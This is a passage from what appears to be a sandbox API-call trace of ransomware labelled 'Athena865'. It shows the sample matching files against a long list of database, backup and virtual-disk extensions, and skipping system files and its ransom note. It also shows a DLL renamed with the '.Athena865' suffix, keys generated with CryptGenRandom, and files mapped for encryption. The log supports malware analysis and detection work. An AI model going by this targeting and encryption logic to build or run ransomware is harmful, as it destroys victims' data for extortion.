lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0141.515] lstrlenW (lpString="dqy") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0141.515] lstrlenW (lpString="dsk") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0141.515] lstrlenW (lpString="dsn") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0141.515] lstrlenW (lpString="dtsx") returned 4 [0141.515] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0141.515] lstrlenW (lpString="dxl") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0141.515] lstrlenW (lpString="eco") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0141.515] lstrlenW (lpString="ecx") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0141.515] lstrlenW (lpString="edb") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0141.515] lstrlenW (lpString="epim") returned 4 [0141.515] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0141.515] lstrlenW (lpString="fcd") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0141.515] lstrlenW (lpString="fdb") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0141.516] lstrlenW (lpString="fic") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0141.516] lstrlenW (lpString="flexolibrary") returned 12 [0141.516] lstrlenW (lpString="fm5") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0141.516] lstrlenW (lpString="fmp") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0141.516] lstrlenW (lpString="fmp12") returned 5 [0141.516] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0141.516] lstrlenW (lpString="fmpsl") returned 5 [0141.516] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0141.516] lstrlenW (lpString="fol") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0141.516] lstrlenW (lpString="fp3") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0141.516] lstrlenW (lpString="fp4") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0141.516] lstrlenW (lpString="fp5") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0141.516] lstrlenW (lpString="fp7") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0141.516] lstrlenW (lpString="fpt") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0141.516] lstrlenW (lpString="frm") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0141.516] lstrlenW (lpString="gdb") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0141.516] lstrlenW (lpString="gdb") returned 3 [0141.516] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0141.517] lstrlenW (lpString="grdb") returned 4 [0141.517] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0141.517] lstrlenW (lpString="gwi") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0141.517] lstrlenW (lpString="hdb") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0141.517] lstrlenW (lpString="his") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0141.517] lstrlenW (lpString="ib") returned 2 [0141.517] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0141.517] lstrlenW (lpString="idb") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0141.517] lstrlenW (lpString="ihx") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0141.517] lstrlenW (lpString="itdb") returned 4 [0141.517] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0141.517] lstrlenW (lpString="itw") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0141.517] lstrlenW (lpString="jet") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0141.517] lstrlenW (lpString="jtx") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0141.517] lstrlenW (lpString="kdb") returned 3 [0141.517] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0141.517] lstrlenW (lpString="kexi") returned 4 [0141.517] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0141.517] lstrlenW (lpString="kexic") returned 5 [0141.517] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0141.517] lstrlenW (lpString="kexis") returned 5 [0141.517] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0141.518] lstrlenW (lpString="lgc") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0141.518] lstrlenW (lpString="lwx") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0141.518] lstrlenW (lpString="maf") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0141.518] lstrlenW (lpString="maq") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0141.518] lstrlenW (lpString="mar") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0141.518] lstrlenW (lpString="marshal") returned 7 [0141.518] lstrcmpiW (lpString1="NTL.DLL", lpString2="marshal") returned 1 [0141.518] lstrlenW (lpString="mas") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0141.518] lstrlenW (lpString="mav") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0141.518] lstrlenW (lpString="maw") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0141.518] lstrlenW (lpString="mdbhtml") returned 7 [0141.518] lstrcmpiW (lpString1="NTL.DLL", lpString2="mdbhtml") returned 1 [0141.518] lstrlenW (lpString="mdn") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0141.518] lstrlenW (lpString="mdt") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0141.518] lstrlenW (lpString="mfd") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0141.518] lstrlenW (lpString="mpd") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0141.518] lstrlenW (lpString="mrg") returned 3 [0141.518] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0141.519] lstrlenW (lpString="mud") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0141.519] lstrlenW (lpString="mwb") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0141.519] lstrlenW (lpString="myd") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0141.519] lstrlenW (lpString="ndf") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0141.519] lstrlenW (lpString="nnt") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0141.519] lstrlenW (lpString="nrmlib") returned 6 [0141.519] lstrcmpiW (lpString1="TL.DLL", lpString2="nrmlib") returned 1 [0141.519] lstrlenW (lpString="ns2") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0141.519] lstrlenW (lpString="ns3") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0141.519] lstrlenW (lpString="ns4") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0141.519] lstrlenW (lpString="nsf") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0141.519] lstrlenW (lpString="nv") returned 2 [0141.519] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0141.519] lstrlenW (lpString="nv2") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0141.519] lstrlenW (lpString="nwdb") returned 4 [0141.519] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0141.519] lstrlenW (lpString="nyf") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0141.519] lstrlenW (lpString="odb") returned 3 [0141.519] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0141.519] lstrlenW (lpString="odb") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0141.520] lstrlenW (lpString="oqy") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0141.520] lstrlenW (lpString="ora") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0141.520] lstrlenW (lpString="orx") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0141.520] lstrlenW (lpString="owc") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0141.520] lstrlenW (lpString="p96") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0141.520] lstrlenW (lpString="p97") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0141.520] lstrlenW (lpString="pan") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0141.520] lstrlenW (lpString="pdb") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0141.520] lstrlenW (lpString="pdm") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0141.520] lstrlenW (lpString="pnz") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0141.520] lstrlenW (lpString="qry") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0141.520] lstrlenW (lpString="qvd") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0141.520] lstrlenW (lpString="rbf") returned 3 [0141.520] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0141.520] lstrlenW (lpString="rctd") returned 4 [0141.520] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0141.520] lstrlenW (lpString="rod") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0141.521] lstrlenW (lpString="rodx") returned 4 [0141.521] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0141.521] lstrlenW (lpString="rpd") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0141.521] lstrlenW (lpString="rsd") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0141.521] lstrlenW (lpString="sas7bdat") returned 8 [0141.521] lstrcmpiW (lpString1="INTL.DLL", lpString2="sas7bdat") returned -1 [0141.521] lstrlenW (lpString="sbf") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0141.521] lstrlenW (lpString="scx") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0141.521] lstrlenW (lpString="sdb") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0141.521] lstrlenW (lpString="sdc") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0141.521] lstrlenW (lpString="sdf") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0141.521] lstrlenW (lpString="sis") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0141.521] lstrlenW (lpString="spq") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0141.521] lstrlenW (lpString="te") returned 2 [0141.521] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0141.521] lstrlenW (lpString="teacher") returned 7 [0141.521] lstrcmpiW (lpString1="NTL.DLL", lpString2="teacher") returned -1 [0141.521] lstrlenW (lpString="tmd") returned 3 [0141.521] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0141.521] lstrlenW (lpString="tps") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0141.522] lstrlenW (lpString="trc") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0141.522] lstrlenW (lpString="trc") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0141.522] lstrlenW (lpString="trm") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0141.522] lstrlenW (lpString="udb") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0141.522] lstrlenW (lpString="udl") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0141.522] lstrlenW (lpString="usr") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0141.522] lstrlenW (lpString="v12") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0141.522] lstrlenW (lpString="vis") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0141.522] lstrlenW (lpString="vpd") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0141.522] lstrlenW (lpString="vvv") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0141.522] lstrlenW (lpString="wdb") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0141.522] lstrlenW (lpString="wmdb") returned 4 [0141.522] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0141.522] lstrlenW (lpString="wrk") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0141.522] lstrlenW (lpString="xdb") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0141.522] lstrlenW (lpString="xld") returned 3 [0141.522] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0141.523] lstrlenW (lpString="xmlff") returned 5 [0141.523] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0141.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.Athena865") returned 70 [0141.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.athena865"), dwFlags=0x1) returned 1 [0141.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.525] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2270608) returned 1 [0141.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.525] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.526] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.526] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.526] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22a890, lpName=0x0) returned 0x17c [0141.528] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x2a890) returned 0x170000 [0141.536] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2bb0000 [0141.611] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.629] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.629] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.630] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0141.632] CloseHandle (hObject=0x17c) returned 1 [0141.632] CloseHandle (hObject=0x154) returned 1 [0141.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.640] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xd7b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPEDINTL.DLL", cAlternateFileName="")) returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2=".") returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="..") returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="windows") returned -1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="bootmgr") returned 1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="temp") returned -1 [0141.640] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="pagefile.sys") returned -1 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="boot") returned 1 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="ids.txt") returned 1 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="ntuser.dat") returned -1 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="perflogs") returned -1 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2="MSBuild") returned -1 [0141.641] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0141.641] lstrcpyW (in: lpString1=0x241e8a8, lpString2="IPEDINTL.DLL" | out: lpString1="IPEDINTL.DLL") returned="IPEDINTL.DLL" [0141.641] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0141.641] lstrlenW (lpString="Athena865") returned 9 [0141.641] lstrcmpiW (lpString1="DINTL.DLL", lpString2="Athena865") returned 1 [0141.641] lstrlenW (lpString=".dll") returned 4 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2=".dll") returned 1 [0141.641] lstrlenW (lpString=".lnk") returned 4 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2=".lnk") returned 1 [0141.641] lstrlenW (lpString=".ini") returned 4 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2=".ini") returned 1 [0141.641] lstrlenW (lpString=".sys") returned 4 [0141.641] lstrcmpiW (lpString1="IPEDINTL.DLL", lpString2=".sys") returned 1 [0141.641] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0141.641] lstrlenW (lpString="bak") returned 3 [0141.641] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0141.641] lstrlenW (lpString="ba_") returned 3 [0141.641] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0141.641] lstrlenW (lpString="dbb") returned 3 [0141.641] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0141.641] lstrlenW (lpString="vmdk") returned 4 [0141.641] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0141.641] lstrlenW (lpString="rar") returned 3 [0141.641] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0141.641] lstrlenW (lpString="zip") returned 3 [0141.641] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0141.642] lstrlenW (lpString="tgz") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0141.642] lstrlenW (lpString="vbox") returned 4 [0141.642] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0141.642] lstrlenW (lpString="vdi") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0141.642] lstrlenW (lpString="vhd") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0141.642] lstrlenW (lpString="vhdx") returned 4 [0141.642] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0141.642] lstrlenW (lpString="avhd") returned 4 [0141.642] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0141.642] lstrlenW (lpString="db") returned 2 [0141.642] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0141.642] lstrlenW (lpString="db2") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0141.642] lstrlenW (lpString="db3") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0141.642] lstrlenW (lpString="dbf") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0141.642] lstrlenW (lpString="mdf") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0141.642] lstrlenW (lpString="mdb") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0141.642] lstrlenW (lpString="sql") returned 3 [0141.642] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0141.642] lstrlenW (lpString="sqlite") returned 6 [0141.642] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1 [0141.642] lstrlenW (lpString="sqlite3") returned 7 [0141.642] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1 [0141.643] lstrlenW (lpString="sqlitedb") returned 8 [0141.643] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1 [0141.643] lstrlenW (lpString="xml") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0141.643] lstrlenW (lpString="$er") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0141.643] lstrlenW (lpString="4dd") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0141.643] lstrlenW (lpString="4dl") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0141.643] lstrlenW (lpString="^^^") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0141.643] lstrlenW (lpString="abs") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0141.643] lstrlenW (lpString="abx") returned 3 [0141.643] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0141.643] lstrlenW (lpString="accdb") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0141.643] lstrlenW (lpString="accdc") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0141.643] lstrlenW (lpString="accde") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0141.643] lstrlenW (lpString="accdr") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0141.643] lstrlenW (lpString="accdt") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0141.643] lstrlenW (lpString="accdw") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0141.643] lstrlenW (lpString="accft") returned 5 [0141.643] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0141.644] lstrlenW (lpString="adb") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.644] lstrlenW (lpString="adb") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.644] lstrlenW (lpString="ade") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0141.644] lstrlenW (lpString="adf") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0141.644] lstrlenW (lpString="adn") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0141.644] lstrlenW (lpString="adp") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0141.644] lstrlenW (lpString="alf") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0141.644] lstrlenW (lpString="ask") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0141.644] lstrlenW (lpString="btr") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0141.644] lstrlenW (lpString="cat") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0141.644] lstrlenW (lpString="cdb") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0141.644] lstrlenW (lpString="ckp") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0141.644] lstrlenW (lpString="cma") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0141.644] lstrlenW (lpString="cpd") returned 3 [0141.644] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0141.644] lstrlenW (lpString="dacpac") returned 6 [0141.644] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1 [0141.644] lstrlenW (lpString="dad") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0141.645] lstrlenW (lpString="dadiagrams") returned 10 [0141.645] lstrcmpiW (lpString1="EDINTL.DLL", lpString2="dadiagrams") returned 1 [0141.645] lstrlenW (lpString="daschema") returned 8 [0141.645] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1 [0141.645] lstrlenW (lpString="db-journal") returned 10 [0141.645] lstrcmpiW (lpString1="EDINTL.DLL", lpString2="db-journal") returned 1 